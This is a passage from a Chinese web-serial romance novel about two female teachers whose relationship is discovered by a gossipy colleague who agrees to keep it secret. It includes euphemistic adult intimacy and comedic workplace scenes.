简越居高临下地看着林筝墨,那眼神仿佛早已洞悉了一切,唇角噙着笑。 好的。 不说。 灵活的手指钻进林筝墨的衣摆,握着她的细腰,故意捏了捏。林筝墨表情忽然有了裂隙,咬着唇不做声,瓷白一样的皮肤染上红晕,却还是强撑着。 简越继续向上攻破 而林筝墨抵抗的方式是——一双诱人深邃的眼睛看着简越,清湛的瞳仁里荡漾着迷人的光色,却是不露声色的,在简越持续挑逗她时,忽然翻身,转守为攻。 简越摔在软绵绵的靠枕里,一双手被迫往后抬,被林筝墨双手剪着,而林筝墨则坐在她的腿上,喘着气,一脸红霞地看着她。 “怎怎么了?” “你不爱我了,你挂我电话。”林筝墨好委屈,委屈到连眼睛都是湿漉漉的,“你以前从来都不挂我电话的。” 简越觉得有一只受伤的小鹿在对自己撒娇,类似于那种即视感。 “我刚刚说了呀,我进电梯,当时没有信号,我想快点见到你,所以我就——” “唔。” 说什么也不重要了,话音消匿在唇齿之间。 林筝墨的嘴唇很软,让人想起小时候吃过的棉花糖,有一点点甜,总是忍不住一口又一口地吃。 简越伸出手去抱她,抚摸着林筝墨骨感的肩胛,她的骨骼凹凸的弧度,是剥离肉l体,最靠近灵魂的地方。触碰的时候,会情不自禁生出强烈的欲l望,那种欲l望是燃烧的野火,烧烫了简越的皮肤。 “你真的生气?”吻的空隙问她。 “没有。” “那你说我不爱你了。” “我就要说。” 从林筝墨的话语完全分不清她的情绪,但她的眼睛,把这些小把戏呈现得一目了然。 她应该是小小地气了那么一下下,后面全然是没有,在吻简越的时候全是思念的宣泄,她实在太想她了,但她说不出口。 她很害怕,害怕自己成为一个过于黏人的女朋友,可身体的渴望又是极其本能的。 她咬过简越的嘴唇之后去啃她的锁骨,掠夺一般的热情,在简越的脖颈一片留下密密麻麻的红印。 简越失迷和理智之间,忽然问出一个问题:“你咬那么多,我明天怎么上课啊。” “明天周六。”林筝墨啃咬着,故意让简越吃痛,“再不济周一你穿高领毛衣。” “现在是夏天。” “我不管。” 我不管 她是一点都不管。 手指纤长的钢琴家,势必要在热烈的夏日奏响一首钢琴曲,从冬天开始蛰伏,隐忍到太阳昼夜不息的时刻。 林筝墨真是相当迅速。 地板上,衣服很快堆叠成小山丘,简越的衬衣,简越的T恤,简越的内l衣 外卖凉了,沙发热了,泡泡懵了。 轻装小卡车林老师就快发动引擎开到一百二十码,有人忽然要求制停。 简越愈发滚烫了,红着脸恳求:“让我洗个澡吧?” 林筝墨客客气气与她推拉:“不可以的,简主任。” “我脏。” “哪里脏?”她居然说出更露骨的话:“帮你清理。” 声音故意贴在简越耳边,势必要让简越一败涂地。热气钻进简越的耳朵里,荡漾着,荡漾着,荡得简越头晕目眩,无意识垂眸往林筝墨领口的方向一看,白的白,挺的挺。 要命。 林筝墨你故意的吧? 故意拿给我看。 * 简越原计划是和林筝墨一起吃外卖,没想到她自己变成了外卖,苦哉。 林老师平日吃外卖都是斯斯文文,细嚼慢咽,很难见她对食物产生什么兴趣。 但简·小米辣明显调动了她的味蕾。 于是恍然大悟,原来,世界上每个人 遇见自己想吃的饭,势必都要多吃一碗。 这一碗,比天高,比海深,比山阔,比路远。 这一碗,要把里面的小小米粒,哪怕半颗,都挑来捡来吃了。 “林筝墨” “嗯?” “你”简越忽然又不知道怎么说了。 她陷入迷失世界的独白里。 我应该不是五十秒吧? 现在是第几秒? 天花板的灯像炙烤大地的太阳,暖融融地照耀着我的身体。我看到自己的手,穿插在她的头发里。我一低头,就看到她的头顶,她的头发那么黑,那么细,指缝溜过的时候,无数发丝扫过我的指纹,像夏天微风拂过时,河堤旁纤细的芦苇。 舌尖和组织表面的神经末梢在对话。 现在是第几秒? 可是,这个重要吗? 我的衬衣躺在T恤旁边,它们安安静静凝视着我们。小猫看得懂吗?它看得懂吧。可它趴在地上,早已没看这边。 我呢? 我在哪里。 我不知道自己在哪里。 好几次有什么东西要将我托举到天花板。 我听到陌生的声音冲破我的喉咙。 但还没有。 这种感觉有点过于奇妙。 我觉得自己像一朵冰淇淋。 我问林筝墨,我是什么味道的冰淇淋。她不回答我,她只是一味地吃。 哦。 我是谁。 我是简越。 “林筝墨” “等一下” 等一下等于不等一下。 不等一下的结果是失控。 天花板的灯,开始变成一个巨大的、火红的太阳,听说太阳只会在与行星相撞时爆裂,爆裂的光束迅猛地朝简越的眼睛刺过来,高温岩浆滋杀着她的皮肤,于是,化成了一滩水。 林筝墨是一个合格的清理工,正在打理着简越的船舱,甲板上的水痕是水手胜利的勋章。 简越睁开眼的时候,额前的一滴汗正好滑落,滴在耳鬓上,她神志虚晃,好久才看清林筝墨的脸。 林筝墨别了一下耳边的发,雪腮上拂了半点红,她朝简越靠去,两人依偎在一起。 心跳是共鸣的证据。 林筝墨抿了抿唇,依旧在回味着唇边的味道。 今天是,甜味简主任—— 作者有话说:林:小1一下,略施小计,耸肩jpg. 简:麻了[爆哭]这个女人是骗子,她超会[爆哭] 第59章 第五十九章 吻得正尽兴 第五十九章 林筝墨当初买这套公寓的时候, 是为了不住教师公寓,可现在又把这套公寓空出来了。搬家那天,看着家具留在地板上的浅印,忽然感概:怎么什么都会变。 人会变, 想法会变, 连家具位置也会变。 搬家师傅把她的钢琴抬上教师公寓七楼, 老腰直颤:“原来您是音乐老师啊!” “我不是。”林筝墨站在新的客厅,手指拂了一下钢琴上的灰, 环顾四周。 教师公寓的空间是要宽绰些, 南北通透,四面敞亮,阳光和风都喜欢来这里闲逛, 那风一吹,简直心旷神怡。这建筑虽然是有些年头了,比不上新的电梯楼, 但里面还算崭新。 林筝墨实在挑不出毛病来,也许唯一的遗憾是, 她和简越要把这里布置得像家一样, 但她却并不在这里生活。所有的家具都是幌子, 为了刻意昭告全世界:我住在这里,和简越只是邻居。 “床和家具大致都给您摆好了, 其他小物件就你们自己整理了罢?” “好的。” “如果您满意, 麻烦在平台上给个好评。” 林筝墨颔首, “谢谢。” 几个搬家师傅走了,听到楼道里逐渐远去的脚步声。林筝墨和简越对视一眼,两人唇角里同时漾着笑。 简越主动过来抱她,言语之间夹着欢喜:“恭喜林老师搬家, 恭喜恭喜。” 林筝墨想说多多包涵,又怕简越笑她假正经,索性搬来一张凳子,抬起琴盖,兴致升起,“弹给你听。” 回忆起两月之前,那时和简越还是正经的同事关系,那天骑着电动车去找沈礼萍的奶奶买凉面,偶遇瓢泼大雨,晚上又回公寓避雨,她一时兴起,给简越弹了那首《春日,樱花还有你》。 那天,琴声只是一种自我的纾解,她不在意简越喜不喜欢,好不好听,一切的一切都围绕着自己在转,可现在完全又是另一回事了。 林筝墨弹过很多曲子,那那些繁复黑白键外,曾有无数听众赞赏,但她一个都不期待。一个残忍的事实,琴声对她来说并不是必需品。 她常常在想,如果有一天真的要走心地弹一曲,那一定要弹给自己喜欢的人听,那种想要表达的欲念,在此刻展现出来。 “我还是弹那首。”她笑着对简越说,“独属于你的《春日,樱花还有你》。” 在距离简越不到半米的距离,清越悠扬的琴声忽然响起,密密层层的音阶在指尖跳动。 简越渐渐被琴声吸引了。 夏日早已来临,青溶溶的蓝天孕育着火红的太阳,光影晃荡在教师公寓的地板上,灰尘与光滞留在时间的缝隙里,也落在林筝墨的肩膀上,墨发间。天空像是下了一场阳光雨,将她整个人置身于光雾之中,美得空灵。 熟悉的乐律漂浮在耳边,已是不同的心情。 一曲忽然中止,林筝墨双手垂在钢琴上,侧目去看简越,“我突然想起一个事。” “什么事?” “我搬家的事,还没有和我妈说。” 简越过去与她一同坐在凳子上,“那你打算说吗?” “不想说。”林筝墨有些感慨:“其实我住那个公寓,他们几乎也不会去看我的,多数是我每周回家。所以搬家的事,只要我不说,他们也不会知道。” “那你会不会觉得奇怪?”简越忽然问她。 “什么奇怪?”林筝墨茫然。 “和我在一起的这种生活方式。” “你是说以后我们很长一段时间都要这样生活,对吗?”林筝墨心中早有答案,但她想听听简越的想法,“你呢?” 简越倒是坦然:“我接受,早就做好准备了。” “我和你一样。” 诚然,这样的关系,固然有瑕疵。她们是同事,是上下级,身份还是老师,还是两个女人,不论拎出哪一条,都能被世俗抵制,没有强大的内心一定走不到最后。但两个人都有默契的魄力,就像简越说的,如果我们不去试一试,是不会知道结果的,而如果我和你没有结果,那将是最大的遗憾。 “啊——就不去想这些了。”林筝墨忽然往简越怀里靠,“反正,反正我终于搬进来了。” 终于,再也不用偷偷摸摸溜进来,在楼道看到别的老师就尴尬,现在可以大大方方进,大大方方出。 简越何尝不是十足的开心,她等这一天真的很久了。 阳光正好,气氛正浓,两人视线撞进彼此的瞳仁里,忽然情难自禁,简越靠近一些,林筝墨配合地闭上了眼…… 她在等简越吻她。 无人察觉的地方,大门虚掩着…… * 今天是张老师大喜的日子,在经历九九八十一难过后,她终于耳根子清净了。 离婚协议书,是上天送给张老师最棒的礼物。忽然觉得鸟语花香,气象清肃,看什么都顺眼,心情飘飘。 喜悦实在无处释放,忽的想起曾经唯一给自己打过气的人:最温柔最善良的小林。 张老师正思索着,与几位强壮的“拉拉”擦肩而过,拉拉是什么?张老师定睛一看,哦,漏了一个字,是货拉拉。 搬家师傅? 有人搬家? 噢今天小林搬家!!! 势必是要去凑凑热闹的。 登时,张老师的小腿肚发生了一种奇异的痉挛,有一种神奇的力量驱使着她,脑袋里忽然有一个想法:马上去和小林嗨皮一下。 她住七单元,简越住一单元,两栋楼隔着十万八千里远,张老师在左转的时候果断选择了右转。 途中给林筝墨发消息:【小林你在不在!我有个天大的好消息要告诉你!】 林筝墨没回。 张老师心想,该是在忙着打扫卫生。 张老师上楼的时候走得慢,一边上楼一边给姐妹群发消息:【再也不伺候死老头儿了,我解放了。】 说来也怪,离婚的时候都说别离,真离了又全说恭喜恭喜。 【打麻将打不打?】 【打打打!】 【唱歌唱不唱?】 【唱唱唱。】 一路聊到六楼,张老师驻足,眯眼往七楼一看,发现林筝墨大门掩着。张老师也没多想,小腿一迈,直往上走,临到门前大嗓子一拉:“小林正收拾呢!!!” 那时简越和林筝墨吻得正火热,林筝墨跨坐在简越大腿上,两人如胶似漆贴在一起。 于是,张老师看到了—— 被吻得情迷意乱衣领松垮着脖子上全是吻痕且一脸潮红的林筝墨。 以及, 头发被抓得凌乱吃得很饱且红润的嘴唇上还有晶莹唾液的简主任。 晴天霹雳。 尼爸的。 张老师脑袋轰的一下,扶着门把手都差点没站稳,老骨头咔的一声抵在门上,可能最近钙片吃少了,自然是受不得此等冲击。 她深吸一口气,不够,再吸,吸吸吸,够呛。 我的速效救心丸呢? 屋里,林筝墨和简越已经到了石化的地步,她俩直接吓傻了,像两座雕像居然没有立马分开,大概也明白事已至此,再无回天之力。 全员宕机! 大概过了几秒钟,对三人来说应该是一百万个世纪。林筝墨从简越身上下来,别了一下耳边的发,回头去看张老师: “张老师?您?” 张老师张了嘴,嘴巴是一个大大的口,那个口的形态持续了半天,食指在空气中点点点,可愣是半天没说出一个字。 老年主机卡死了。 谁来救救她。 沉默像刀,在三人的身体上划来划去,划来划去。 “我眼睛进沙子了,让简主任给吹。”林筝墨硬着头皮说:“正巧您就来了。” “噢!!!”张老师如释重负,“这边风沙就是大,你不知道啊这夏天的那个风一吹啊我每天眼睛都进沙!!” 简越对着天花板吐了一口气。 实话说,尬到她没话讲。 “快进来坐。”林筝墨招呼着张老师进来。 张老师战术后仰,笑得过于僵硬了,“冒昧了,没打招呼就来,我其实来是想和你说一件事,我离婚了。” “啊。”林筝墨暂且还没心思恭喜她,但还是挺为她开心的,“那恭喜你。” “但是我家还炖着排骨。”张老师脚踩风火轮了,她忍不住了,如果可以,她宁愿现在从七楼跳下去,“排骨要煮成粥了,那我先走了。” “好。” “简主任。”张老师回过头对简越笑,“好巧啊你也在这里。” 简越讪讪点头,“巧的巧的。” “那我走了啊。”张老师悄悄带过门,随着门啪嗒一声—— 林筝墨双手抱头,揪着头发蹲在地上。 丢 死 人 了。 简越则是仰望天花板,看着看着就笑了,笑着笑着有点想哭。 我 跳 楼。 两人大概各自崩溃了五六七八秒。 林筝墨抬头,表情凌乱,像一只刚发过疯的精灵,“我们没锁门吗?” “这是重点吗?”简越快哭了,“我们也不知道她会上来啊。” 林筝墨一巴掌拍在脑门上,“完了。” 搬家第一天。 喜提偷情被捉。 心情美美哒。 林筝墨相当焦灼,张老师其实挺喜欢八卦的,这件事会不会传到其他老师耳朵里,那得打一个问号,但同时,林筝墨又抱着侥幸心理,她觉得,或许在张老师心底,她是有那么一点点不同的。 可结果是怎样,林筝墨也摸不清,这全凭张老师心情。 “怎么办?” “未必她真的会相信我眼睛进沙子?” 简越试图保持冷静,发现根本冷静不下来,这局无解。如果她们去找张老师,让她保守秘密,相当于狼人自曝,而如果不采取行动,保不准张老师泄露出去,退也不是,进也不是,要怪就怪情到深处不关门。 两人大眼瞪小眼。 没辙。 与此同时,楼梯间。 张老师一路扶着墙撞下去,脑袋里的老火车开得呜呜响,林筝墨和简越接吻,这既视感对张老师来说简直是外星人和狗谈上了。 胡扯,吹什么眼睛。 都看到了! 她们俩? 张老师一路宕机,她甚至怀疑自己是不是在做梦。 她们不都是女的吗? 女的和女的也能谈恋爱啊? 虽说年级上现在是有女同学在玩这一套,但凭心而论,张老师从来没当回事,她把这种行为归类为“学生叛逆”,成人之后自动性转。可没听过“成人叛逆”啊,教科书上没写。 张老师揉揉眉心,满脑子都是先前的旖旎画面。 虽然是有点接受不了,但碍于这俩姑娘实在漂亮,对美丽有执念的张老师,回忆起来居然也没觉得碍眼,主要是那小林吧,张老师实在是讨厌不起来,还是那句话,她向来是把她当妹妹看的,交心那种。 叮咚。 手机忽然震动了一下。 是林筝墨发来的消息:【我才看到。】下一句:【您到家了吗?】 张老师颤颤巍巍戳着屏幕: 【快了快了。】 【你眼睛好点了吗?】——发出去后,张老师觉得这句有点欲盖弥彰,便又撤回了。 林筝墨:【好多了。】 发现张老师撤回了,林筝墨也撤回了。 对话框忽然安静下来,第一次隔着屏幕也能感到尴尬呢。 张老师想缓和气氛,便想转移话题,她寻思着搬家,不如说点庆祝的话,便准备打下:乔迁新居,生活愉快。 大概是脑袋还雾蒙蒙的,亦或者确实是那么想的,居然打下的是:乔迁新居,新婚愉快。 那八个字一发。 张老师惊呼:妈呀妈呀真是老糊涂了! 她连忙长按——撤回——结果点成了删除。 尼爸。 天塌了。 七楼,林筝墨把信息给简越看,眼神茫然:“她说新婚愉快,你说她这是什么意思?”—— 作者有话说:张老师:毁掉一个中年女人的方式是:撤回点成了删除 林筝墨:你人怪好嘞[彩虹屁] 第60章 第六十章 嗯嗯嗯没有性生活 第六十章 “她说新婚愉快, 你说这是什么意思?” “她思想这么开放?”简越也摸不着头脑,“她是什么意思我也搞不懂。” “难道她知道了?”林筝墨面有尬色,迷惑,“还是不知道?” 简越挠头, “我不知道她知不知道。” 林筝墨挠头, “我也不知道她知不知道。” 所以她到底知不知道?谁也不知道, 两人只能假装没看到,林筝墨客客气气回了个表情包。 之后张老师不再回复, 大家默契地不再提起这事, 但总归来说,带来的冲击力不小。 当晚,林筝墨开始狂做噩梦, 一些惊世骇俗的画面出现在梦境里,半夜忽然从梦中惊醒,满脸惊慌, 心跳在胸腔里咚咚作响。 简越惊醒,捻开灯, 在暖光下望向她, “怎么了?” “我梦到全校的人都知道我们在谈恋爱。” “啊。”发现林筝墨浑身冰冷, 嘴唇几近苍白,瞳孔里呈现的惊慌失措不是假的, 简越揽过她的肩膀, “不要怕, 不要怕。” “梦里还有我妈。”林筝墨双手抱臂,蜷缩在简越怀抱里,“她让我们分开。” 看孩子吓得。 估计下午够呛。 “放轻松,放轻松。”简越声线柔和:“我们又不是做了什么见不得人的事, 况且梦都是反的。” 林筝墨神经确实过于紧绷,但她无法控制自己,总是忍不住去想,张老师会不会告诉别人,会不会告诉别人,这种无望的答案太折磨人,可她又不能去问张老师。 “抱歉是我太紧张了。”她揉揉眉心,神态间带着一点疲乏,“我会好好调整。” 简越看在眼里,疼在心间。 她当然清楚,毕竟现阶段她们都没想过公开,被迫出柜没有一点好处,况且她们也没有心理准备。 这感觉堪比从天而降一坨屎,当然话是糙了点,但谁也不想搬家第一天遇见这种事吧? “先不担心,我们明天去办公室,再看看是什么情况。” 林筝墨只是点头却不说话。 简越又宽慰她:“其实办法有很多,见招拆招,退一万步讲,她若是真的要生出流言,又没有证据,我们就告她诽谤,她一把年纪了,哪里有心思折腾这些?”顿了顿,又说:“而且,我觉得张老师不是这样的人,她是八卦了一点,但有些事还是拎得清的。” 简越的分析不是没有道理,有种你奈我何的气魄。 林筝墨在她强有力的话语下逐渐安定下来。 “好啦,不要去预想没有发生过的事情,好吗?” “嗯。” “乖啦乖啦。” 林筝墨在她怀里蹭蹭,嘟哝道:“以后我们在哪里都要记得锁门,下午真的好丢脸啊。”她双手掩目,是回忆起来都想辞职的地步。 “我也觉得超丢脸的!”简越伸手关掉灯,小声说:“好了,现在灯和门都关了。” “嗯。” 沉默两秒,枕边忽然躁动。 “不然我们” 林筝墨喉咙滑动了一下,有点想,但还是矜持着:“可是现在好晚了。” 简越翻身,从枕头下拿出橡皮筋开始扎头发,贴身靠近,气若游丝: “凌晨。” “正是做l爱的时候。” 林筝墨羞到往被窝里钻,“不要这样子说话!” 简越低声笑,故意挑逗她:“林老师,林筝墨,我要和你做——” 最后一个字还没说出来,林筝墨迅速把她嘴捂住了。 “呜……” 午夜涨潮。 坏女人。 受不了。 * 做到三点。 做到被单略显潮润,精疲力竭,被推去洗了个温水澡,再躺回来的时候,林筝墨已经没有足够的力气去做噩梦了。 原来治疗焦虑的良药是做l爱啊! 哎~~ 早知道睡前就直接吃两根。 整夜好梦。 清晨太阳照常升起,明显感觉气温与日渐增,夏天真的真的来了。林筝墨在空调冷风里逐渐睁开眼,发现枕边人已经不在身边。 她转过身,一只手搭在简越的枕头上,整张脸埋在被子里,都是简越的味道,温馨的味道。 不多时,有人推开房门,那女人在笑: “怎么还在睡,猪。” “你才是猪。”林筝墨发出慵懒的鼻音,翻了个身,双肩华泽,又白又嫩,“我好困。” “起床吃饭啦。” 林筝墨陷在枕头里,裹着被子一动不动,摇头,“我不起。” 简越笑着过来拉她。 她是一只软绵绵的可爱虫。 简越轻轻把被子一拉,她的下巴和脖项都很瘦,阳光透过白皙的皮肤,像是一颗皮薄多汁的水蜜桃,雪腮上粉嘟嘟的,嘴唇也粉嘟嘟的,浑身都粉嘟嘟的,一双好看的杏眼虚眯着,凌乱的发在枕头上分散开来,恣意又性感。 看来是相当享受了。 简越去挠她痒痒:“快起来~” 林筝墨抱着双臂含蓄地笑:“我不起,我今天不上班了。” 简越假装吓她:“好好好,把你拍下来给一班的同学看!看看他们的林老师背地里什么样子!!” 林筝墨鼻腔里溢出娇声的不悦,吊着嗓子软绵绵道:“那你拉我起来。” 软虫林老师慢悠悠起身,又软乎乎的往简越怀里贴,一双手圈着简越的脖子,双臂锁上了,怎么都松不开了。 有时林筝墨就是这样,她没有起床气,但是她起床会撒娇,总喜欢往简越身上贴。 简越搂着她,含笑:“你骨头呢?” 一些胡说八道:“我没有骨头你就是我的骨头背我去上班。” “我松手了啊。” “你不爱我了。” 简越惊呼:“你这是找到公式了!” 万事先来一句你不爱我了,该怎么做你应该知道了? “你不说我嘛,我抱你一下怎么了嘛。”带着一点点撒娇,又在简越唇边吻一下,眯着眼说:“我怎么睡醒了还是好累。” 确实累了。 昨夜从两点到三点。 很酸,嗓子也哑了。 简越给她打气:“吃饭吃饭,补充能量!” 俩人慢悠悠去吃饭,和简越一起生活的幸福具象化了,最直接的证据是,每天都有早餐吃,吃得还特别细,特别实在。 可别看这小小的一餐,世界上百分之八九十的人早餐都是对付对付,林筝墨这辈子唯一有这种待遇的时候,是她高考那一年。 她妈怕她考不上。 但简越是真的害怕她饿肚子。 豆浆、小麦粥、牛油果滑蛋。 林筝墨喝豆浆的时候满脑子想的都是:要把这女人栓裤腰带上,千万不能把她弄丢了。 她在想:这世界上再也找不到这种漂亮又心甘情愿的笨蛋女人!何德何能遇见她,对比起来我真是懒猪,等会儿赶紧去洗个碗吧。 “这个也吃。” “喔。” “你发呆在想什么呢?” “教案。” 关于《如何把简主任装进口袋里》的教案。 这是一个秘密。 * 上班两人不约而同穿的衬衣,默契地扣在最上面那颗,一颗都不能解,解开就变成果园,脖子上的小草莓兜不住了。 走出教师公寓时,林筝墨心情尚可,可一到教学楼便想起张老师的事,忽然烦闷,但她没在简越面前表现出来,毕竟昨晚简越安慰她很久。 张老师是什么态度,先去看看再说。 清晨,办公室的人稀稀零零的,老师们要过会儿才来。林筝墨在自己岗位坐下,漫不经心收拾着桌面,眼睛却衔着门的方向。 张老师你快来。 张老师你别来。 快来。 别来。 来吧,让我死。 别来,我还想活一会儿。 人一紧张就容易在两种情绪里狂跳,无法取中间值。 不知道过了多久,陆陆续续人都到齐了,张老师才姗姗来迟。 当她出现在林筝墨视线里那一刻,两人视线无意交汇,都像漏电的插线板儿,碰一下咔一声就跳开了。林筝墨低下头,张老师则是一路斜睨着。 她老人家的高跟鞋踩在花岗岩上,电脑包顺势往桌上一搁,发出闷声响,这何尝不是古代衙门庭审前喊的那句“威~~武~~”呢。 林筝墨如坐针毡,浑身有蚂蚁在爬,焦躁不安,她的魂魄,早已跑到张老师身边,晃着她老人家的肩膀狂言:说话啊说话啊你说话啊,到底是有期还是死刑,倒是给个信儿啊!! 可事实是坐在凳子上不发一语,连表情都没有。 隔壁张老师也不说话。 气氛凝在唇边,都是哑巴。 办公室里人渐渐多起来,赵铭跑来问拼不拼单咖啡,林筝墨点了一杯冰美式,张老师转过身来,忽然搭了句:“我也喝。” 林筝墨望向她,眼神里有试探,“我请你喝?” “好啊。”张老师几乎没有犹豫地答应了:“谢了小林。” 天知道,这句“谢了小林”中夹带的赦免对林筝墨来说意味着什么,以至于林筝墨的世界瞬间明朗了。至少从张老师的话语中没听出什么排斥,甚至还有一点默契的交好。 赵铭腆着脸:“那我呢?你请张老师喝,也请我喝吗?” 林筝墨婉拒:“赵老师我工资多少你也清楚。” 赵铭:“可是又愿意请张老师喝的原因是?” 林筝墨:“这就是爱。” 赵铭惊愕,“林老师这是我入职百年以来你第一次对我开玩笑!” 林筝墨心情确实挺不错的,故意逗他:“那你请我们喝吧。” 赵铭:“?” 赵铭:“林老师你学坏了!敲l诈的事情干不得!” 这还是他认识的林筝墨吗?那种冷淡,全世界都欠她一百万的林筝墨,现在变成了,冷漠,但偶尔居然搞点冷幽默的林筝墨。 赵铭心想,作为林老师的咖啡之友,能听到林老师偶尔开开玩笑,是他的荣幸。 张老师转过身搭腔:“哎怎么废话那么多啊?你们到底点不点啊?我嘴巴都干了!” 赵铭:“点点点。” 林筝墨:“好了我请你们喝。” 赵铭:“嘿嘿也是享福咯,那下次我请。” 林筝墨偷偷看张老师一眼,发现张老师也在看她,两人目光触碰,又挪开。 不多时,办公桌上手机震动一下,林筝墨收到一条微信消息。 发信人是张老师。 内容很简单:【别紧张,姐替你保密。】 林筝墨浑身筋骨都松懈下来,千言万语汇成一句:【谢谢你。】 但话说回来,保密归保密,本质上,张老师是话唠属性,这事要是发生在别人身上,她那小嘴不知道开炮成什么样。某种意义上来讲,要保护这个秘密,对张老师来说也是一种莫大的煎熬。 她之所以能忍,全凭着对林筝墨的爱。 张老师必须抒发己见,她必须得在林筝墨这里说点什么,才能保证她对别人只口不提。 张老师:【但你俩姑娘把我吓得够呛。】 林筝墨:【0.0?】 于是,张老师疯狂提问: 【多久了?】 【我一点不知!】 【上次在酒店!】 【耍我老人家!】 【但也好不用生孩子。】 【简主任她还装!】 【你们胆儿肥啊!】 【咦?】 【你怎么不说话?】 隔壁张老师噼里啪啦手机戳出火星子。 林筝墨看着满屏幕的字,目不暇接,惊讶原来有人用手写键盘也能写这么快?但她是一个问题都回答不上来。 隔壁张老师等了半天没收到回复,直接面对面上刑。 “小林。”张老师对她摆摆手,示意她过去。 林筝墨凑过去,“嗯?” “姐真的很好奇啊,真的就是好奇,你别放心上。” “嗯,您问。”林筝墨看她表情,隐隐约约有预感了。 “就是我最困惑的地方,你也知道我一把年纪了挺老土的,有些东西不懂啊,就,你们都是女生啊,都是成年人,明人不说暗话。你们俩怎么” 林筝墨眉心一跳。 张老师。 问半天您关心这个? “嗯你说的这个”林筝墨眨眨眼,净说大实话:“我也不懂,我和简主任从来不,我们没有过。” 张老师惊愕,“从来不?” “对。”林筝墨颔首,“我们注重精神恋爱,柏拉图,相敬如宾。” 张老师心想你这不是胡闹吗,你们昨天也不是这样的啊。但又觉得林筝墨的表情太真,小林确实也不是一个会撒谎的人。转念一想,也许亲亲小嘴再也做不出别的事了。 好单纯咧! 两个小宝宝这样也挺不错嘟! 张老师信以为真,瞬间有种金光注入脑袋之感,随之灵魂也跟着升华了,“虽然搞不懂你们年轻人的恋爱方式,哎,但其实你们开心就好。” 林筝墨趁火打劫:“可是张老师你真的会替我保密吗?”她眼睫低垂,眨眨眼,一副可怜样,“我这辈子唯一出格的事就这一件了,我我其实特别害怕。” 装可怜这事林筝墨是第一次做,可耐不住那张具有诱骗性的脸。她长得又白,又嫩,人又瘦,本身就很容易让人生出怜惜之情,加上她这副快哭了的样子,狗看了都得跑来磕个头。 真。 太真。 林真墨。 张老师哪见过这阵仗,满眼怜惜:“别哭别哭,姐说到做到!你又没有做危害社会的事!!”明明受到冲击的是她老人家,现在倒过来安慰林筝墨:“大千世界无奇不有,开心就好,开心就好,这事儿就这么定了,天知地知你知我知,还有简主任知,我要是违背誓言,我打麻将盘盘输!回回输!” 是毒誓了。 林筝墨吃下一粒定心丸,眼眶湿漉漉地看着张老师,“谢谢,你真好。” 张老师得到好人卡,心情甜蜜蜜,大大方方摆摆手,“没事儿没事儿~” 林筝墨点点头,但良心不安,连忙转过身去。 苦哉! 三十岁没有性生活! 欺诈中年妇女罪。 张老师。 对不起。 我请你喝一个月咖啡QAQ!—— 作者有话说:张老师:[小丑][小丑] 林筝墨:[亲亲][亲亲] 简越:[狗头][狗头]魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 60-70 第61章 第六十一章 鸟儿挣脱牢笼 第六十一章 关于张老师的宽容, 林筝墨其实很意外。 所以,人和人交往,还真的不能只看表面。以前,张老师竭力给林筝墨塞对象的时候, 林筝墨暗戳戳还有点烦她, 但如今, 这种感觉全然消失了,她又觉得张老师这人能处。 真真切切感受到她人的善意, 便也情不自禁以同样的方式去回应。 爱是相互的。 林筝墨鼓励张老师的同时, 也获得了张老师的理解。 张老师的态度无形之中给了林筝墨一种力量。 林筝墨忽然意识到,不论你是什么样子,这个世界总有人接受你的模样。 于是, 这件事成为一个三人的秘密。 时间就在悠然淡云里悄然溜走了。 一瞬而夏。 转眼暑期来临。 难得长假,林筝墨和简越计划出去旅行。 林筝墨曾和简越说,我想去生命力旺盛的地方。关于“旺盛”二字, 简越思来想去得出一个答案:那我们去火热一点的地方吧? 她摊开世界地图,聚焦于热带地区, 势必要带林筝墨出去火热一下。 最终她俩选了一个小众国家, 历史底蕴丰厚, 也有很多奇异景观,但缺点是, 这还是个发展中国家, 可能没有中国这么繁华, 这么便利,以及很有可能会遇见一些很荒谬的事情,比如在街边被当地人骗个五块十块的,或者手机莫名其妙被抢, 但大体的安全问题是没有。 “去就去吧。”林筝墨倒是很洒脱,“去看看别的地方。” 两人一拍即合,简越是个有准备、有计划的人,说干就干,她开始做攻略、选日期。林筝墨则是网购一些必需品,以及签证和兑币的问题。 整个过程大概需要十日。 这期间,周京芳一直叫林筝墨回家吃饭,三天两头就叫,林筝墨心想,反正也要出国一段时间,不如早点完成任务。 当日傍晚回家吃饭,林鸿在厨房熬绿豆粥,却不见周京芳人影。 “妈呢?” “她出去了。” “又去哪?” 林鸿耸肩,“我不知道,但有一会儿了,该是要回来了。” 周京芳今天行为有点诡异,她原本是在微信上和人聊天,聊着聊着忽然就出去了,林鸿也不知道她去做什么。 “妈她最近怎么样?”林筝墨换鞋进屋,站在厨房门口和林鸿闲聊起来。 “还行。”林鸿手里的汤勺搅拌着,“上次葬礼过后也没说什么了,她不提,我也就不问了。” “那就好。”林筝墨走到沙发坐下,遥控器在手里摁着,发现现在电视都不大好看,看几眼就疲了,她回过头又问林鸿:“有什么需要我帮忙的?” “没有。”林鸿沉默几秒,又略显僵硬地问:“你最近怎么样?放假了也没听你有说什么安排。” “哦,正想说,我想出去旅游。” 她正要往下说,这时玄关处有响动,林筝墨循声望去,周京芳开门而入,她手里捏着一个小东西,但没看清。外面好像有点热,她脸上浮着一层汗,唇色苍白,脸色不太好看,在看到林筝墨时,明显愣了下,冷不丁道:“回来了?” “嗯。” 林鸿搭腔:“你去哪了?人溜的一下没影子了。” 周京芳不言,只是径直朝林筝墨过来,走到她面前,手心一松,啪嗒一声,一张门禁卡落在茶几上。 林筝墨心脏重重跳了下,原来周京芳找她去了。 这很反常。 自买那套公寓之后,林鸿和周京芳基本没怎么去过那边,林筝墨自认为这是唯一的好处了,至少他们给了她一点点自由。 “去了趟公寓,但密码改了没打开门。”周京芳身子往后一靠,双手抱胸斜靠在靠枕上,开门见山:“你最近不住家里?” 这种感觉类似于,她好像明明知道点什么,但却要你亲口承认,如实招来。这种伎俩非常精明,因为林筝墨也不知道她到底知道了什么。 一有不慎,可能就会说出不必要的信息。 周京芳的严肃林筝墨自然是见识过的,小时候她撒谎,周京芳三句就能把她底裤扒得不剩,顺带还能知道点别的信息,周京芳就是一个头脑精明的拷问家,谁甭想蒙混过关。 但林筝墨也不是吃素的。 有句话是,雏凤清于老凤声,好说歹说,她是她的女儿,是有些基因在里面的。 二十八岁的林筝墨开始懂得什么叫周旋。 她回答她:“密码早就改了,原先那个太简单,不安全。” “那你最近在家住吗?”周京芳又问了一遍,直勾勾看着林筝墨,势必要在她脸上灼出一个洞来。 “住的。”林筝墨对上周京芳的眼睛,落落大方问她:“我说我要过来吃饭的,你怎么突然过去找我?也不提前打个招呼。” 